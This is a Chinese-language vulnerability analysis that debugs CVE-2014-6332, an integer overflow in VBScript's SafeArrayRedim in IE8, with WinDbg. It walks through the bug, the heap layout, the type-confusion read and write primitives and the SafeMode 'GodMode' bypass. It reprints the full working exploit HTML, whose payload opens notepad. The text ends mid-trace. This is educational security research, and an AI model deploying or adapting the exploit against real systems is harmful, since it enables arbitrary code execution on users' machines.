Author: xd0ol1 (知道創宇404實驗室)
前文回顧:
0x00 引子
本文將通過一個經典的IE漏洞來繼續學習WinDbg相關的分析調試,錯誤之處還望各位大牛加以斧正:P
0x01 概述
我們要用到的是CVE-2014-6332這個漏洞,前輩們已經有過精彩的分析了,對應文章在參考部分有給出。此漏洞最值得借鑒的是其中所涉及的利用方式,上兩篇分析的CVE-2012-1876需要繞過ASLR、DEP等保護手段來執行ROP+shellcode,而CVE-2014-6332則是借助RW primitives+GodMode的方式來實現漏洞的利用。不好說這兩種思路孰優孰劣,應該是各有千秋的,繞過保護措施可能會復雜些,因而現今的exploit更多會先獲取RW primitives,之后corrupt有關數據結構來實現代碼的執行。
該漏洞在當時還是比較嚴重的,幾乎所有Windows版本中的IE都受到了影響,它是由于VBScript引擎在重新分配數組儲存空間時的錯誤引起的,具體來說是oleaut32模塊SafeArrayRedim函數中的整數溢出錯誤。當然,微軟目前已經放棄了VBScript,但我們學習的目的在于舉一隅以三隅反,因此理解其原理還是很有必要的。
此處的分析環境為Win7 x86 - IE 8.0.7601.17514。
0x02 RW primitives
我們先來看下如何通過此漏洞來獲取RW primitives,即corrupt后的SAFEARRAY結構,這里注意下,RW(Read/Write) primitives指的是exploit中那些用于實現內存讀寫的對象或函數。分析所用的PoC代碼如下:
``` code html
CVE-2014-6332 PoC.我們知道在VBScript中,數組是以SAFEARRAY結構來保存的,其定義如下:
0:013> dt ole32!tagSAFEARRAY +0x000 cDims : Uint2B +0x002 fFeatures : Uint2B +0x004 cbElements : Uint4B +0x008 cLocks : Uint4B +0x00c pvData : Ptr32 Void +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:013> dt ole32!tagSAFEARRAYBOUND +0x000 cElements : Uint4B +0x004 lLbound : Int4B
其中cDims表示數組的維數,每個維度都對應一個SAFEARRAYBOUND結構,包含有此維度的大小和起始索引,同時,cbElements表示每個元素的大小,這些元素保存在pvData地址處。而對于fFeatures表示的含義,可參考此[說明](https://msdn.microsoft.com/en-us/library/windows/desktop/ms221482(v=vs.85).aspx)。
此外,可以通過IDA得到如下的SafeArrayRedim函數定義:
```c
HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew);
我們在IE中打開上述PoC文件,并用WinDbg附加相應進程,然后執行如下操作:
0:013> bp OLEAUT32!SafeArrayRedim
0:013> g
Breakpoint 3 hit
eax=023dcfa8 ebx=002c2a10 ecx=0006fa58 edx=0000400c esi=0006fa58 edi=00000000
eip=75aeec2c esp=023dcf94 ebp=023dcfb0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!SafeArrayRedim:
75aeec2c 8bff mov edi,edi
0:005> kb 3
ChildEBP RetAddr Args to Child
023dcf90 728c58da 002c2a10 023dcfa8 0006f438 OLEAUT32!SafeArrayRedim
023dcfb0 728c5887 00000001 00000001 0006fa58 vbscript!RedimPreserveArray+0x81
023dd0ac 728b4ff6 023dd214 8f64c1b9 00000000 vbscript!CScriptRuntime::RunNoEH+0x1466
0:005> dd 002c2a10 L6
002c2a10 08800001 00000010 00000000 00234298
002c2a20 00000004 00000000
0:005> dd 023dcfa8 L2
023dcfa8 08421421 00000000
0:005> dd 00234298 L10
00234298 00000002 00000000 00000001 00000000
002342a8 00000002 00000000 00000002 00000000
002342b8 00000002 00000000 00000004 00000000
002342c8 00000002 00000000 00000008 00000000
可以看到,最初定義的數組維度為1,共有0x04個Variant型元素,且每個元素占0x10字節。這里特別強調下Variant結構,它在后續會經常用到,其定義如下:
保存浮點數時會同時使用Data High和Data Low字段,而如果只保存整型或指針則僅需Data High字段,Type字段的定義可參考這里,在本文中涉及到的類型如下:
接著腳本借助redim來重新分配數組空間,對應元素個數為0x08421420+1=0x08421421,即0x08421421*0x10=0x84214210字節空間,很顯然這個分配操作會失敗,畢竟32位進程的用戶態空間最大也只到0x7fffffff,但由于存在如下語句,腳本將會繼續執行:
``` code html On Error Resume Next
當跳出SafeArrayRedim函數后,我們再看下此時SAFEARRAY結構中的內容:
0:005> dd 002c2a10 L6 002c2a10 08800001 00000010 00000000 00234298 002c2a20 08421421 00000000
即數組的起始地址仍為0x00234298,但索引范圍變成了0~0x08421420,這正是我們要用到的corrupt后的SAFEARRAY結構,通過它可以獲取RW primitives功能。如下給出了漏洞的具體成因:
0:005> uf OLEAUT32!SafeArrayRedim OLEAUT32!SafeArrayRedim: 75aeec2c 8bff mov edi,edi 75aeec2e 55 push ebp 75aeec2f 8bec mov ebp,esp 75aeec31 83ec18 sub esp,18h 75aeec34 53 push ebx 75aeec35 56 push esi 75aeec36 8b7508 mov esi,dword ptr [ebp+8] 75aeec39 57 push edi 75aeec3a 33ff xor edi,edi 75aeec3c 3bf7 cmp esi,edi 75aeec3e 0f843f030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)
OLEAUT32!SafeArrayRedim+0x18: 75aeec44 397d0c cmp dword ptr [ebp+0Ch],edi 75aeec47 0f8436030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)
OLEAUT32!SafeArrayRedim+0x21: 75aeec4d 0fb74e02 movzx ecx,word ptr [esi+2] 75aeec51 8bc1 mov eax,ecx 75aeec53 2500200000 and eax,2000h 75aeec58 8945f4 mov dword ptr [ebp-0Ch],eax 75aeec5b 66393e cmp word ptr [esi],di 75aeec5e 0f841f030000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)
OLEAUT32!SafeArrayRedim+0x38: 75aeec64 397e08 cmp dword ptr [esi+8],edi 75aeec67 0f870c030000 ja OLEAUT32!SafeArrayRedim+0x1cb (75aeef79)
OLEAUT32!SafeArrayRedim+0x41: 75aeec6d f6c110 test cl,10h 75aeec70 0f8503030000 jne OLEAUT32!SafeArrayRedim+0x1cb (75aeef79)
OLEAUT32!SafeArrayRedim+0x4a: 75aeec76 8d45f0 lea eax,[ebp-10h] 75aeec79 50 push eax 75aeec7a 897d08 mov dword ptr [ebp+8],edi 75aeec7d 897df0 mov dword ptr [ebp-10h],edi 75aeec80 e8f15dfeff call OLEAUT32!GetMalloc (75ad4a76) 75aeec85 8bd8 mov ebx,eax 75aeec87 3bdf cmp ebx,edi 75aeec89 0f85d5020000 jne OLEAUT32!SafeArrayRedim+0x5f (75aeef64)
OLEAUT32!SafeArrayRedim+0x65: 75aeec8f 56 push esi ;SAFEARRAY結構的指針 75aeec90 e868f0ffff call OLEAUT32!SafeArraySize (75aedcfd) ;獲取已分配的數組空間大小 75aeec95 8945fc mov dword ptr [ebp-4],eax ;保存已分配空間大小值0x00000040 75aeec98 3bc7 cmp eax,edi 75aeec9a 7409 je OLEAUT32!SafeArrayRedim+0x7b (75aeeca5)
OLEAUT32!SafeArrayRedim+0x72: 75aeec9c 397e0c cmp dword ptr [esi+0Ch],edi 75aeec9f 0f84de020000 je OLEAUT32!SafeArrayRedim+0x1d2 (75aeef83)
OLEAUT32!SafeArrayRedim+0x7b: 75aeeca5 8b450c mov eax,dword ptr [ebp+0Ch] 75aeeca8 8b08 mov ecx,dword ptr [eax] 75aeecaa 8b5e10 mov ebx,dword ptr [esi+10h] ;備份rgsabound中的cElements值0x00000004 75aeecad 8b7e14 mov edi,dword ptr [esi+14h] ;備份rgsabound中的lLbound 75aeecb0 894e10 mov dword ptr [esi+10h],ecx ;修改rgsabound中的cElements為0x08421421 75aeecb3 8b4004 mov eax,dword ptr [eax+4] 75aeecb6 56 push esi ;SAFEARRAY結構的指針 75aeecb7 895de8 mov dword ptr [ebp-18h],ebx 75aeecba 897dec mov dword ptr [ebp-14h],edi 75aeecbd 894614 mov dword ptr [esi+14h],eax ;修改rgsabound中的lLbound 75aeecc0 e838f0ffff call OLEAUT32!SafeArraySize (75aedcfd) ;獲取待分配的數組空間大小 75aeecc5 8945f8 mov dword ptr [ebp-8],eax ;保存待分配空間大小值0x84214210 75aeecc8 83f8ff cmp eax,0FFFFFFFFh 75aeeccb 0f8490910100 je OLEAUT32!SafeArrayRedim+0xa3 (75b07e61)
OLEAUT32!SafeArrayRedim+0xb3: 75aeecd1 8bd8 mov ebx,eax 75aeecd3 2b5dfc sub ebx,dword ptr [ebp-4] ;待分配大小減去已分配大小,等于0x842141d0 75aeecd6 0f84a8000000 je OLEAUT32!SafeArrayRedim+0x1c7 (75aeed84)
OLEAUT32!SafeArrayRedim+0xbe: 75aeecdc 8b7df0 mov edi,dword ptr [ebp-10h] 75aeecdf 85db test ebx,ebx 75aeece1 7d45 jge OLEAUT32!SafeArrayRedim+0x110 (75aeed28) ;將0x842141d0當作負數,整數溢出
OLEAUT32!SafeArrayRedim+0xc5: 75aeece3 b9200f0000 mov ecx,0F20h 75aeece8 66854e02 test word ptr [esi+2],cx 75aeecec 743a je OLEAUT32!SafeArrayRedim+0x110 (75aeed28)
OLEAUT32!SafeArrayRedim+0xd0: 75aeecee 837df400 cmp dword ptr [ebp-0Ch],0 75aeecf2 0f8579910100 jne OLEAUT32!SafeArrayRedim+0xd6 (75b07e71)
OLEAUT32!SafeArrayRedim+0xe0: 75aeecf8 8b07 mov eax,dword ptr [edi] 75aeecfa 895d0c mov dword ptr [ebp+0Ch],ebx 75aeecfd f75d0c neg dword ptr [ebp+0Ch] 75aeed00 ff750c push dword ptr [ebp+0Ch] 75aeed03 57 push edi 75aeed04 ff500c call dword ptr [eax+0Ch] ;ole32!CRetailMalloc_Alloc,分配空間失敗 75aeed07 894508 mov dword ptr [ebp+8],eax 75aeed0a 85c0 test eax,eax 75aeed0c 0f845d020000 je OLEAUT32!SafeArrayRedim+0x19d (75aeef6f)
......
OLEAUT32!SafeArrayRedim+0x1b8: 75aeed75 837d0800 cmp dword ptr [ebp+8],0 75aeed79 7409 je OLEAUT32!SafeArrayRedim+0x1c7 (75aeed84)
OLEAUT32!SafeArrayRedim+0x1be: 75aeed7b ff7508 push dword ptr [ebp+8] 75aeed7e 8b07 mov eax,dword ptr [edi] 75aeed80 57 push edi 75aeed81 ff5014 call dword ptr [eax+14h] ;ole32!CRetailMalloc_Free
OLEAUT32!SafeArrayRedim+0x1c7: 75aeed84 8bc3 mov eax,ebx
OLEAUT32!SafeArrayRedim+0x1d7: 75aeed86 5f pop edi 75aeed87 5e pop esi 75aeed88 5b pop ebx 75aeed89 c9 leave 75aeed8a c20800 ret 8
......
OLEAUT32!SafeArrayRedim+0x19d: 75aeef6f bb0e000780 mov ebx,8007000Eh 75aeef74 e9fcfdffff jmp OLEAUT32!SafeArrayRedim+0x1b8 (75aeed75)
......
我們知道SafeArrayRedim函數的第一個入參為SAFEARRAY結構的指針,其中包含已分配數組的SAFEARRAYBOUND信息,第二個入參為待分配數組的SAFEARRAYBOUND信息。在獲取完已分配數組的大小后,程序根據待分配數組的SAFEARRAYBOUND信息來修改SAFEARRAY指針指向的原SAFEARRAYBOUND信息,即其中的cElements和lLbound,以此來獲取待分配數組的大小。但由于之后jge指令將新增空間大小0x842141d0當成了負數,即整數溢出,導致程序進入錯誤的處理分支,新空間會分配失敗,但函數在返回前并沒有將原先備份的SAFEARRAYBOUND信息替換回去,從而分配的數組空間沒變cElements值卻改變了,因此corrupt后的SAFEARRAY結構可被用于內存的越界訪問。
### 0x03 GodMode
接著我們來討論如何在當前的IE環境中開啟VBScript的GodMode,用到的代碼如下:
```html
<html>
<body>
<SCRIPT LANGUAGE="VBScript">
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
</script>
</body>
</html>
正常情況打開這個html文件是無法彈出記事本的,因為IE會禁止運行那些可能危害系統的腳本,它會通過vbscript!COleScript::InSafeMode函數來對SafeMode標志進行檢查,此標志的默認值為0x0e。我們重新打開上述文件并在WinDbg中進行如下操作:
0:012> bu vbscript!COleScript::InSafeMode
0:012> g
Breakpoint 0 hit
eax=76140782 ebx=00000000 ecx=0002bdd0 edx=76130000 esi=0002f558 edi=00000000
eip=6f35ce4d esp=0244d400 ebp=0244d488 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!COleScript::InSafeMode:
6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh ds:0023:0002bf44=0000000e
0:005> ln poi(ecx)
(6f354868) vbscript!COleScript::`vftable' | (6f36fdbc) vbscript!`string'
Exact matches:
vbscript!COleScript::`vftable' = <no type information>
0:005> dd ecx+174h L1
0002bf44 0000000e
0:005> uf vbscript!COleScript::InSafeMode
vbscript!COleScript::InSafeMode:
6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh
6f35ce57 6a00 push 0
6f35ce59 58 pop eax
6f35ce5a 0f95c0 setne al
6f35ce5d c3 ret
0:005> eb ecx+174h 4
0:005> dd ecx+174h L1
0002bf44 00000004
0:005> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0002bdd0 edx=0244d3b0 esi=00000000 edi=00000000
eip=6f35ce4d esp=0244d400 ebp=0244d488 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!COleScript::InSafeMode:
6f35ce4d f781740100000b000000 test dword ptr [ecx+174h],0Bh ds:0023:0002bf44=00000004
0:005> bd *
0:005> g
ModLoad: 6efe0000 6efe3000 C:\Windows\system32\sfc.dll
ModLoad: 6efd0000 6efdd000 C:\Windows\system32\sfc_os.DLL
可以看到,SafeMode標志是vbscript!COleScript對象指針特定偏移處的一個值,在InSafeMode函數中,會檢查它和0x0B相與的結果,如果為0,那么VBScript的執行將不再受到限制,即此時SafeMode標志值要為0或4,通過手動修改內存中的這個標志值最終可以彈出記事本。
0x04 漏洞利用
在前面分析的基礎上,我們來看一下此漏洞的exploit,具體思路就是通過corrupt后的SAFEARRAY結構來獲取RW primitives,然后對SafeMode標志進行修改,從而執行任意的VBScript代碼:
<!DOCTYPE html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<body>
CVE-2014-6332 exploit by yuange.
<SCRIPT LANGUAGE="VBScript">
function Runmumaa() '彈出記事本'
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
end function
</script>
<SCRIPT LANGUAGE="VBScript">
dim aa() '數組和變量的定義'
dim ab()
dim a0
dim a1
dim a2
dim a3
dim intVersion
dim myarray
Begin()
function Begin() '程序入口'
On Error Resume Next
info=Navigator.UserAgent
if (instr(info,"Win64")>0) then '判斷系統位數并獲取IE版本'
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
BeginInit()
if Create()=True then
myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00) '定義精心構造的SAFEARRAY結構'
Setnotsafemode()
end if
end function
function BeginInit() '數組和變量的初始化'
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create() '創建期望的內存布局'
On Error Resume Next
dim i
Create=False
for i = 0 to 400
if Over()=True then
Create=True
exit for
end if
next
end function
sub testaa()
end sub
function Mydata() '獲取函數對象指針并布局精心構造的SAFEARRAY結構'
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314 '0x0000000300000003'
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310 '0x0000200c0000200c'
Mydata=aa(a1)
redim Preserve aa(a0)
end function
function Setnotsafemode()
On Error Resume Next
i=Mydata() '獲取testaa函數對象指針,即CScriptEntryPoint對象指針'
i=ReadMemo(i+8)
i=ReadMemo(i+16) '獲取COleScript對象指針'
for k=0 to &h60 step 4 '搜索內存中的SafeMode標志值并修改'
j=ReadMemo(i+&h120+k)
if (j=14) then
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4) 'write primitive'
redim Preserve aa(a0)
exit for
end if
next
ab(2)=1.69759663316747E-313 '0x0000000800000008'
Runmumaa()
end function
function Over() '判斷內存中分配的aa、ab這兩個數組是否相鄰'
On Error Resume Next
dim type1
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2) '對aa數組進行corrupt'
type1=1
ab(0)=1.012345678901234567890123456789 '用作標記值'
aa(a0)=10
if (IsObject(aa(a1-1)) = False) then
if (VarType(aa(a1-1))<>0) then
if (IsObject(aa(a1)) = False) then
type1=VarType(aa(a1))
end if
end if
end if
if (type1=&h0b24) then '判斷是否和標記相符'
Over=True
end if
redim Preserve aa(a0) '恢復aa數組至corrupt前'
end function
function ReadMemo(add) '借助類型混淆來讀取add地址處的值'
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313 '0x0000000800000008'
ReadMemo=lenb(aa(a1)) 'read primitive'
ab(0)=0
redim Preserve aa(a0)
end function
</script>
</body>
</html>
其中,科學記數法表示的浮點數可由C中的printf函數進行轉換:
``` code c printf("%I64x\n", 1.69759663316747E-313); printf("%.14E\n", 0x0000000800000008);
在調試過程中我們可適當插入document.write()來輸出那些輔助的信息,同時還可以通過插入MsgBox()來定位相關代碼,例如最開始先禁用WinDbg中的所有斷點,待彈出窗口后再啟用斷點,這樣我們就能快速跳到想要的位置跟蹤調試了。
此外,[yuange](https://twitter.com/yuange75)的DVE(數據虛擬執行)想法確實妙,筆者還有待慢慢領悟,下面我們進入詳細的分析。
####1 內存布局
exploit中用到了aa和ab兩個數組,它們會在Over()中通過redim進行重新分配,也就是執行完如下兩條語句后:
``` code html
redim Preserve aa(a0)
redim ab(a0)
內存布局需要達到如下效果,同樣,每個數組元素都保存在Variant結構中:
如果不滿足就重復這個分配過程,由于相應空間分配在堆上,根據堆管理的性質是能實現上述布局的,這樣就可以通過corrupt后的aa數組來越界訪問ab數組了。我們來具體看一下:
0:012> bp OLEAUT32!SafeArrayRedim
0:012> g
Breakpoint 0 hit
eax=0249cb14 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df84d0 edi=01e00900
eip=7664ec2c esp=0249cb00 ebp=0249cb1c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!SafeArrayRedim:
7664ec2c 8bff mov edi,edi
0:005> kb 3
ChildEBP RetAddr Args to Child
0249cafc 6fb158da 004692e8 0249cb14 ffffffff OLEAUT32!SafeArrayRedim
0249cb1c 6fb15887 00000001 00000001 01df84d0 vbscript!RedimPreserveArray+0x81
0249cc18 6fb04ff6 0249ce2c c9d653d5 01e008d0 vbscript!CScriptRuntime::RunNoEH+0x1466
0:005> dd 004692e8 L6
004692e8 08800001 00000010 00000000 0042e2b8
004692f8 00000006 00000000
......
0:005> g
(6b0.f28): Break instruction exception - code 80000003 (first chance)
eax=7ffd4000 ebx=00000000 ecx=00000000 edx=77b8f125 esi=00000000 edi=00000000
eip=77b240f0 esp=059dfd94 ebp=059dfdc0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
77b240f0 cc int 3
0:010> dd 004692e8 L6
004692e8 08800001 00000010 00000000 02e66ec8
004692f8 080000a2 00000000
0:010> !heap -p -a 02e66ec8
address 02e66ec8 found in
_HEAP @ 3c0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02e66ec0 0145 0000 [00] 02e66ec8 00a20 - (busy)
0:010> ? 02e66ec8+a2*10
Evaluate expression: 48658664 = 02e678e8
此時地址0x02e678e8處即為8字節的堆指針,內存分布如下:
其中,數值1.012345678901234567890123456789保存在ab(0)中,該Variant結構的Type字段為5,而Data High+Data Low字段為0x3ff0329161f20b24。當aa數組corrupt后可以訪問到ab數組中的數據,由于這之間恰好隔了8字節的堆指針,所以這兩個數組的Type+Reserved部分就和Data High+Data Low部分交錯了,因此ab(0)的Data High+Data Low部分會被當成aa(a1)的Type+Reserved部分,即VarType(aa(a1))等于0x0b24。
2 類型混淆
在完成內存的布局后,exploit就可以借助ab數組元素的賦值操作來對corrupt后aa數組元素的Type字段進行更改,從而實現類型的混淆,接下去我們將分析exploit中用到的類型混淆手法以及由此得到的Read primitive。
來看下Mydata()函數,它會通過如下代碼將testaa函數對象指針賦給i:
``` code html On Error Resume Next i=testaa i=null
接著是與類型混淆有關的那部分代碼:
``` code html
redim Preserve aa(a2) '對aa數組進行corrupt'
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314 '0x0000000300000003'
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310 '0x0000200c0000200c'
Mydata=aa(a1)
redim Preserve aa(a0) '恢復aa數組至corrupt前'
這里面會進行兩次類型混淆處理,首先由于變量i的類型為null(0x01),因此需要將其轉成long integer(0x03)后再返回,該函數對象指針事實上就是CScriptEntryPoint對象的指針。而myarray中則保存著精心構造的SAFEARRAY結構,最初賦給aa(a1+2)時其類型為string(0x08),需要將其類型改為Variant數組,這在后面獲取Write primitive時會用到。對應的調試過程如下:
0:005> bl
0 e 7664ec2c 0001 (0001) 0:**** OLEAUT32!SafeArrayRedim
1 e 6fb02e64 0001 (0001) 0:**** vbscript!AssignVar
2 e 6fb11f4c 0001 (0001) 0:**** vbscript!AccessArray
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> dd esp L4
0249cb1c 6fb13991 0013ebf0 02e678f8 01df84f0
0:005> dd 01df84f0 L4
01df84f0 0000400c 00000000 0013268c 41a00001
0:005> dd 0013268c L4
0013268c 00000001 00000080 01df8718 01000f0e
0:005> ln poi(01df8718)
(6fb04934) vbscript!CScriptEntryPoint::`vftable' | (6fb1ab54) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable' = <no type information>
0:005> g
Breakpoint 2 hit
eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> db 02e678e8 L20
02e678e8 ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 01 00 00 00 80 00 00 00-18 87 df 01 0e 0f 00 01 ................
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> dd esp L4
0249cb1c 6fb13991 0013ebf0 02e678f0 01df84f0
0:005> db 02e678f0 L10
02e678f0 02 00 00 00 00 00 00 00-01 00 00 00 80 00 00 00 ................
0:005> db 01df84f0 L10
01df84f0 05 00 00 00 00 00 00 00-03 00 00 00 03 00 00 00 ................
0:005> g
Breakpoint 2 hit
eax=0249cc10 ebx=0249cc70 ecx=0013f23c edx=0000400c esi=01e00900 edi=00000001
eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> db 02e678e8 L20
02e678e8 ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01 ................
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> g
Breakpoint 2 hit
eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> db 02e678e8 L40
02e678e8 ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01 ................
02e67908 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02e67918 08 00 49 02 a5 00 00 00-14 50 40 00 18 cc 49 02 ..I......P@...I.
0:005> dd 00405014-4 L8
00405010 00000018 08800001 00000001 00000000
00405020 00000000 7fff0000 00000000 00000000
0:005> g
Breakpoint 1 hit
eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> g
Breakpoint 2 hit
eax=0249cb2c ebx=0249cc70 ecx=0249cc70 edx=0000400c esi=00000001 edi=01e00900
eip=6fb11f4c esp=0249cb00 ebp=0249cb18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> db 02e678e8 L40
02e678e8 ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 03 00 00 00 03 00 00 00-18 87 df 01 0e 0f 00 01 ................
02e67908 00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00 ................
02e67918 0c 20 00 00 0c 20 00 00-14 50 40 00 18 cc 49 02 . ... ...P@...I.
0:005> dt ole32!tagSAFEARRAY 00405014
+0x000 cDims : 1
+0x002 fFeatures : 0x880
+0x004 cbElements : 1
+0x008 cLocks : 0
+0x00c pvData : (null)
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
我們知道字符串在內存中是以BSTR對象保存的,暫不論類型混淆,就myarray字符串而言,它在內存中的保存結果如下,Data High字段中的指針0x00405014指向相應的字符內容:
其中,BSTR對象頭部表示字符串的長度,此情況中即為poi(0x00405014-4)=0x18。
了解這一點后,我們再來看實現Read primitive的函數:
function ReadMemo(add) '借助類型混淆來讀取add地址處的值'
On Error Resume Next
redim Preserve aa(a2) '對aa數組進行corrupt'
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313 '0x0000000800000008'
ReadMemo=lenb(aa(a1)) 'read primitive'
ab(0)=0
redim Preserve aa(a0) '恢復aa數組至corrupt前'
end function
首先add+4會以long integer(0x03)類型賦給aa(a1),這里add為要讀取的地址,而后aa(a1)的類型被改成了string(0x08),于是add+4也就被當成了指向字符內容的指針,因此lenb(aa(a1))就等價于poi(add+4-4),即add地址處的值。
對于Setnotsafemode函數中的如下ReadMemo調用:
On Error Resume Next
i=Mydata() '獲取testaa函數對象指針,即CScriptEntryPoint對象指針'
i=ReadMemo(i+8)
其跟蹤過程如下:
0:005> g
Breakpoint 1 hit
eax=01df84e0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> dd esp L4
0249cb1c 6fb13991 0013ebf0 02e678f8 01df84e0
0:005> dd 01df84e0 L4
01df84e0 00000003 00000000 01df8724 41a00001
0:005> ln poi(01df8724)
0:005> ln poi(01df8724-8)
0:005> ln poi(01df8724-8-4)
(6fb04934) vbscript!CScriptEntryPoint::`vftable' | (6fb1ab54) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable' = <no type information>
0:005> g
Breakpoint 2 hit
eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!AccessArray:
6fb11f4c 8bff mov edi,edi
0:005> db 02e678e8 L20
02e678e8 ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00 .j.hlK..........
02e678f8 03 00 00 00 00 00 00 00-24 87 df 01 01 00 a0 41 ........$......A
0:005> g
Breakpoint 1 hit
eax=01df84e0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
vbscript!AssignVar:
6fb02e64 8bff mov edi,edi
0:005> g
Breakpoint 2 hit
